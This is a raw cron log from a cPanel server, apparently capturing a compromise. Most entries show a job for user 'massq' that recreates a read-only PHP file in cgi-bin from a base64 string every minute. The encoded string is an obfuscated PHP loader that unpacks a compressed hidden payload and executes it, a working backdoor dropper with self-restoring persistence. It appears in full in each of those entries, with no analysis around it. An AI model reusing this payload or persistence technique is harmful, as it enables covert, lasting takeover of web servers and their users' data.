Nov 14 16:17:01 server CROND[31932]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 16:18:01 server CROND[32561]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 16:19:01 server CROND[955]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 16:20:01 server CROND[1821]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 16:20:01 server CROND[1825]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 16:20:01 server CROND[1828]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 16:20:01 server CROND[1829]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 16:20:01 server CROND[1827]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 16:21:01 server CROND[2851]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 16:22:01 server CROND[3303]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 16:23:01 server CROND[4164]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 16:24:01 server CROND[5014]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 16:25:01 server CROND[5878]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 16:25:01 server CROND[5879]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 16:25:01 server CROND[5881]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 14 16:25:01 server CROND[5880]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 16:26:01 server CROND[6919]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 16:27:01 server CROND[7776]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 16:27:01 server CROND[7777]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 16:28:01 server CROND[8680]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 16:29:01 server CROND[9671]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 16:30:01 server CROND[10488]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 16:30:01 server CROND[10489]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache &amp;&amp; /usr/local/cpanel/scripts/update_db_cache)
Nov 14 16:30:01 server CROND[10490]: (root) CMD (/usr/lib64/sa/sa1 1 1)
